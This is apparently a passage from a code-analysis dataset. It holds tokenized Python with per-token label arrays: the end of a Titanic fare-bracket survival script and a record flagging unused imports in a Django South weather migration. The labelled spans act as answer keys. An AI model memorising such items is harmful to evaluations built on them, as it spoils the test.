"float_",
")_",
">=_",
"j_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
",_",
"8_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"<_",
"(_",
"j_",
"+_",
"1_",
")_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
")_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"men",
"\\u",
"only",
"\\u",
"stats_",
"=_",
"data_",
"[_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"3_",
"]_",
"!=_",
"'",
"female",
"'_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
":_",
",_",
"1_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"==_",
"i_",
"+_",
"1_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
",_",
"8_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
">=_",
"j_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
")_",
"&_",
"(_",
"data_",
"[_",
"0_",
":_",
",_",
"8_",
"]_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"<_",
"(_",
"j_",
"+_",
"1_",
")_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
")_",
",_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"0_",
",_",
"i_",
",_",
"j_",
"]_",
"=_",
"np_",
"._",
"mean_",
"(_",
"wo",
"men",
"\\u",
"only",
"\\u",
"stats_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"1_",
",_",
"i_",
",_",
"j_",
"]_",
"=_",
"np_",
"._",
"mean_",
"(_",
"men",
"\\u",
"only",
"\\u",
"stats_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"surviv",
"al",
"\\u",
"table_",
"!=_",
"surviv",
"al",
"\\u",
"table_",
"]_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"surviv",
"al",
"\\u",
"table_",
"<_",
"0.5_",
"]_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"surviv",
"al",
"\\u",
"table_",
">=_",
"0.5_",
"]_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"surviv",
"al",
"\\u",
"table_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"test\\u",
"file",
"\\u",
"object_",
"=_",
"csv_",
"._",
"reader_",
"(_",
"open_",
"(_",
"path_",
"+_",
"'/",
"test",
".",
"csv",
"'_",
",_",
"'",
"rb",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"open",
"\\u",
"file",
"\\u",
"object_",
"=_",
"csv_",
"._",
"writer_",
"(_",
"open_",
"(_",
"path_",
"+_",
"'/",
"gender",
"class",
"price",
"based",
"model",
"py",
".",
"csv",
"'_",
",_",
"'",
"wb",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"header_",
"=_",
"test\\u",
"file",
"\\u",
"object_",
"._",
"next_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"row_",
"in_",
"test\\u",
"file",
"\\u",
"object_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"j_",
"in_",
"xrange_",
"(_",
"num",
"\\u",
"price",
"\\u",
"brackets",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"row_",
"[_",
"7_",
"]_",
"=_",
"float_",
"(_",
"row_",
"(_",
"7_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bin",
"\\u",
"fare",
"_",
"=_",
"3_",
"-_",
"float_",
"(_",
"row_",
"[_",
"0_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"row_",
"[_",
"7_",
"]_",
">_",
"fare",
"\\u",
"ceil",
"ing_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bin",
"\\u",
"fare",
"_",
"=_",
"num",
"\\u",
"price",
"\\u",
"brackets",
"_",
"-_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"row_",
"[_",
"7_",
"]_",
">=_",
"j_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
"and_",
"row_",
"[_",
"7_",
"]_",
"<_",
"(_",
"j_",
"+_",
"1_",
")_",
"*_",
"fare",
"\\u",
"bracket",
"\\u",
"size_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bin",
"\\u",
"fare",
"_",
"=_",
"j_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"row_",
"[_",
"2_",
"]_",
"==_",
"'",
"female",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"row_",
"._",
"insert_",
"(_",
"0_",
",_",
"int_",
"(_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"0_",
",_",
"float_",
"(_",
"row_",
"[_",
"0_",
"]_",
")_",
"-_",
"1_",
",_",
"bin",
"\\u",
"fare",
"_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"open",
"\\u",
"file",
"\\u",
"object_",
"._",
"writerow_",
"(_",
"row_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"row_",
"._",
"insert_",
"(_",
"0_",
",_",
"int_",
"(_",
"surviv",
"al",
"\\u",
"table_",
"[_",
"1_",
",_",
"float_",
"(_",
"row_",
"[_",
"0_",
"]_",
")_",
"-_",
"1_",
",_",
"bin",
"\\u",
"fare",
"_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"open",
"\\u",
"file",
"\\u",
"object_",
"._",
"writerow_",
"(_",
"row_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | mollyproject/mollyproject/molly/apps/weather/migrations/0001_initial.py | [
{
"content": "# encoding: utf-8\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'weather.weather': {\n 'Meta': {'object_name': 'Weather'},\n 'humidity': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'location': ('django.contrib.gis.db.models.fields.PointField', [], {'null': 'True'}),\n 'location_id': ('django.db.models.fields.CharField', [], {'max_length': '16'}),\n 'max_temperature': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'min_temperature': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'modified_date': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'observed_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),\n 'outlook': ('django.db.models.fields.CharField', [], {'max_length': '3', 'null': 'True'}),\n 'pollution': ('django.db.models.fields.CharField', [], {'max_length': '1', 'null': 'True'}),\n 'pressure': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True'}),\n 'pressure_state': ('django.db.models.fields.CharField', [], {'max_length': '1', 'null': 'True'}),\n 'ptype': ('django.db.models.fields.CharField', [], {'max_length': '1'}),\n 'published_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),\n 'sunrise': ('django.db.models.fields.TimeField', [], {'null': 'True'}),\n 'sunset': ('django.db.models.fields.TimeField', [], {'null': 'True'}),\n 'temperature': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'uv_risk': ('django.db.models.fields.CharField', [], {'max_length': '1', 'null': 'True'}),\n 'visibility': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True'}),\n 'wind_direction': ('django.db.models.fields.CharField', [], {'max_length': '3', 'null': 'True'}),\n 'wind_speed': ('django.db.models.fields.IntegerField', [], {'null': 'True'})\n }\n }\n\n complete_apps = ['weather']",
"metadata": "root.Migration",
"header": "['module', '___EOS___']",
"index": 6
},
{
"content": " def forwards(self, orm):\n \n # Adding model 'Weather'\n db.create_table('weather_weather', (\n ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('location_id', self.gf('django.db.models.fields.CharField')(max_length=16)),\n ('ptype', self.gf('django.db.models.fields.CharField')(max_length=1)),\n ('name', self.gf('django.db.models.fields.TextField')(null=True)),\n ('outlook', self.gf('django.db.models.fields.CharField')(max_length=3, null=True)),\n ('published_date', self.gf('django.db.models.fields.DateTimeField')(null=True)),\n ('observed_date', self.gf('django.db.models.fields.DateTimeField')(null=True)),\n ('modified_date', self.gf('django.db.models.fields.DateTimeField')(auto_now=True, blank=True)),\n ('temperature', self.gf('django.db.models.fields.IntegerField')(null=True)),\n ('wind_direction', self.gf('django.db.models.fields.CharField')(max_length=3, null=True)),\n ('wind_speed', self.gf('django.db.models.fields.IntegerField')(null=True)),\n ('humidity', self.gf('django.db.models.fields.IntegerField')(null=True)),\n ('pressure', self.gf('django.db.models.fields.PositiveIntegerField')(null=True)),\n ('pressure_state', self.gf('django.db.models.fields.CharField')(max_length=1, null=True)),\n ('visibility', self.gf('django.db.models.fields.CharField')(max_length=2, null=True)),\n ('location', self.gf('django.contrib.gis.db.models.fields.PointField')(null=True)),\n ('min_temperature', self.gf('django.db.models.fields.IntegerField')(null=True)),\n ('max_temperature', self.gf('django.db.models.fields.IntegerField')(null=True)),\n ('uv_risk', self.gf('django.db.models.fields.CharField')(max_length=1, null=True)),\n ('pollution', self.gf('django.db.models.fields.CharField')(max_length=1, null=True)),\n ('sunset', self.gf('django.db.models.fields.TimeField')(null=True)),\n ('sunrise', self.gf('django.db.models.fields.TimeField')(null=True)),\n ))\n db.send_create_signal('weather', ['Weather'])",
"metadata": "root.Migration.forwards",
"header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']",
"index": 8
},
{
"content": " def backwards(self, orm):\n \n # Deleting model 'Weather'\n db.delete_table('weather_weather')",
"metadata": "root.Migration.backwards",
"header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']",
"index": 38
}
]
| [
{
"span": "import datetime",
"start_line": 1,
"start_column": 0,
"end_line": 1,
"end_column": 15
},
{
"span": "from django.db import models",
"start_line": 4,
"start_column": 0,
"end_line": 4,
"end_column": 28
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"encoding",
":",
" ",
"utf",
"-",
"8_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"south_",
"._",
"db_",
"import_",
"db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"south_",
"._",
"v2_",
"import_",
"Schema",
"Migration_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"db_",
"import_",
"models_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"models_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"wea",
"ther",
".",
"wea",
"ther",
"'_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Meta",
"'_",
":_",
"{_",
"'",
"object\\u",
"name",
"'_",
":_",
"'",
"Wea",
"ther",
"'_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"humid",
"it",
"y",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"id",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Auto",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"primary",
"\\u",
"key",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"location",
"'_",
":_",
"(_",
"'",
"django",
".",
"contrib",
".",
"gi",
"s",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Point",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"location",
"\\u",
"id",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"16",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"max",
"\\u",
"tempe",
"ratur",
"e",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"min",
"\\u",
"tempe",
"ratur",
"e",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"modifi",
"ed",
"\\u",
"date",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"auto",
"\\u",
"now",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
",_",
"'",
"blank",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"name",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"observe",
"d\\u",
"date",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"outl",
"ook",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"3",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"poll",
"uti",
"on",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"1",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"press",
"ure",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Posi",
"tiv",
"e",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"press",
"ure",
"\\u",
"state",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"1",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"ptype",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"1",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"publi",
"shed",
"\\u",
"date",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"sun",
"rise",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"suns",
"et",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Time",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"tempe",
"ratur",
"e",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"uv",
"\\u",
"risk",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"1",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"visi",
"bilit",
"y",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"2",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"wind",
"\\u",
"direction",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"max",
"\\u",
"length",
"'_",
":_",
"'",
"3",
"'_",
",_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"wind",
"\\u",
"speed",
"'_",
":_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
",_",
"[_",
"]_",
",_",
"{_",
"'",
"null",
"'_",
":_",
"'",
"Tru",
"e",
"'_",
"}_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"complete",
"\\u",
"apps_",
"=_",
"[_",
"'",
"wea",
"ther",
"'_",
"]_",
"[SEP]_",
"class_",
"Migration_",
"(_",
"Schema",
"Migration_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"forwards_",
"(_",
"self_",
",_",
"orm_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
"ing",
" ",
"model",
" ",
"'",
"Wea",
"ther",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"db_",
"._",
"create",
"\\u",
"table_",
"(_",
"'",
"wea",
"ther",
"\\u",
"wea",
"ther",
"'_",
",_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"id",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Auto",
"Field",
"'_",
")_",
"(_",
"primary",
"\\u",
"key_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"location",
"\\u",
"id",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"16_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"ptype",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"1_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"name",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Text",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"outl",
"ook",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Char",
"Field",
"'_",
")_",
"(_",
"max",
"\\u",
"length_",
"=_",
"3_",
",_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"publi",
"shed",
"\\u",
"date",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"observe",
"d\\u",
"date",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"modifi",
"ed",
"\\u",
"date",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Date",
"Time",
"Field",
"'_",
")_",
"(_",
"auto",
"\\u",
"now_",
"=_",
"True_",
",_",
"blank_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"tempe",
"ratur",
"e",
"'_",
",_",
"self_",
"._",
"gf_",
"(_",
"'",
"django",
".",
"db",
".",
"model",
"s",
".",
"fields",
".",
"Integer",
"Field",
"'_",
")_",
"(_",
"null_",
"=_",
"True_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"wind",
